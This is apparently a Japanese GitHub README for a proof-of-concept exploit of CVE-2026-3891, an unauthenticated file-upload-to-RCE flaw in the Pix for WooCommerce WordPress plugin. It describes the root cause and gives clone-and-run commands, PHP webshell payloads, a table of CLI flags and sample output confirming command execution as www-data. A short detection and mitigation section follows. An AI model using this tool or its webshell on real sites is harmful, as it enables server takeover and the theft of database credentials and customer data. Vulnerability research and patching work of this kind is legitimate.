
CVE-2026-3891のPoC – Pix for WooCommerce ≤ 1.5.0における未認証ファイルアップロードRCE。自動化されたnonce取得、PHPアップロード、およびコマンド実行。
CVE-2026-3891 の概念実証(PoC)エクスプロイト – WordPress プラグイン Pix for WooCommerce(≤ 1.5.0)における未認証の任意ファイルアップロードからリモートコード実行に至る脆弱性です。
CVE-2026-3891 は、Pix for WooCommerce プラグインにおける深刻な脆弱性で、1.5.0 までの全バージョンに影響します。このプラグインは AJAX ハンドラー lkn_pix_for_woocommerce_c6_save_settings において適切な認可とファイルタイプの検証を行っていません。未認証の攻撃者はこの欠陥を悪用して、公開アクセス可能なディレクトリに任意の PHP ファイルをアップロードし、対象の WordPress サーバー上でリモートコード実行を達成できます。
このリポジトリには、有効な nonce の取得から Web シェルのアップロードまでの攻撃チェーン全体を自動化する本番品質の PoC が含まれており、堅牢なエラーハンドリングと美しい CLI インターフェースを備えています。
certificate_crt_path ファイルパラメータを正しく構築します。--check)。[ * ]、[ + ]、[ - ]、[ ! ] のプレフィックスが付き、即座に判読できます。根本原因は、プラグインによって登録された 2 つの AJAX アクションにあります:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
このアクションは wp_ajax_nopriv_* にフックされており、未認証の訪問者でもアクセス可能です。lkn_pix_for_woocommerce_c6_settings_nonce アクション用の nonce を生成し、JSON エンベロープで返します:
{"success":true,"data":{"nonce":"abc123..."}}
権限チェックやユーザー認証は実行されません。つまり、誰でも有効な nonce を要求できます。
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
このハンドラーは、certificate_crt_path というファイルアップロードフィールドを含むプラグイン設定を保存します。アップロードは WordPress の media_handle_upload ヘルパーを通じて行われますが、プラグインは以下を行いません:
current_user_can の欠如)。.php ファイルを許可してしまう)。wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
nonce は CSRF 対策にしかならず、誰でも取得できるため、攻撃者はこれら 2 つのアクションを連鎖させて任意の PHP コードをアップロード・実行できます。
www-data または apache)で完全な Web シェルアクセスが可能。wp-config.php、データベース認証情報、顧客データの読み取りが可能。requests ライブラリを備えた Python 3.8+(pip install requests でインストール)。git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
より詳細な制御が必要な場合は、コマンドラインオプションを使用します:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_* で登録されているため、nonce は常に取得可能です。Cookie やセッションは不要です。admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – 事前に取得した noncecertificate_crt_path – マルチパートのファイルアップロード(ペイロード).php ファイルがリネームされることなく受け入れられ、保存されます。アップロードが成功すると、ファイルは以下の場所に配置されます:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
このディレクトリは Web から直接アクセス可能です。Web サーバーが PHP を処理するように設定されていれば(WordPress 管理サーバーではデフォルト)、PHP ファイルが実行されます。
certs_c6 ディレクトリに予期しない PHP ファイルが出現する(特に woocommerce.php、shell.php などのファイル)。admin-ajax.php への POST リクエスト。?cmd=id のようなクエリパラメータを伴う .../certs_c6/ への直接アクセスがアクセスログに記録される。WordPress のログで以下を監視します:
action=lkn_pix_for_woocommerce_generate_nonce および action=lkn_pix_for_woocommerce_c6_save_settings を伴う /wp-admin/admin-ajax.php への繰り返しの POST リクエスト。certs_c6 フォルダへの新しいファイルの作成。ファイル整合性監視ツール(例:Tripwire、OSSEC)を使用して変更をアラートします。certs_c6 ディレクトリ内での PHP 実行を拒否します(例:php_flag engine off を含む .htaccess を使用)。current_user_can('manage_options')、アップロードには適切な nonce 検証と権限チェック)。このプロジェクトは MIT ライセンスの下で提供されています – 詳細は LICENSE ファイルを参照してください。
免責事項: このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。作者は、このソフトウェアによって引き起こされる誤用や損害について一切の責任を負いません。
この PoC が役に立った場合は、GitHub で ⭐ を付けて、責任を持って共有することを検討してください。コントリビューション、Issue、プルリクエストを歓迎します!
ハッピーハッキング! 🛡️
| フラグ | 説明 | デフォルト |
|---|
target (位置引数) | WordPress サイトのベース URL。 | 必須 |
-f, --filename | アップロードする PHP ファイルの名前。 | woocommerce.php |
-p, --payload | アップロードする PHP コード。 | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | リクエストのタイムアウト(秒)。 | 15 |
-r, --retries | nonce 取得の最大リトライ回数。 | 2 |
--no-banner | ASCII アートを非表示にする。 | (オフ) |
--no-verify | アップロード後のアクセス確認をスキップする。 | (オフ) |
--check | アップロード後に Web シェルで id を実行する。 | (オフ) |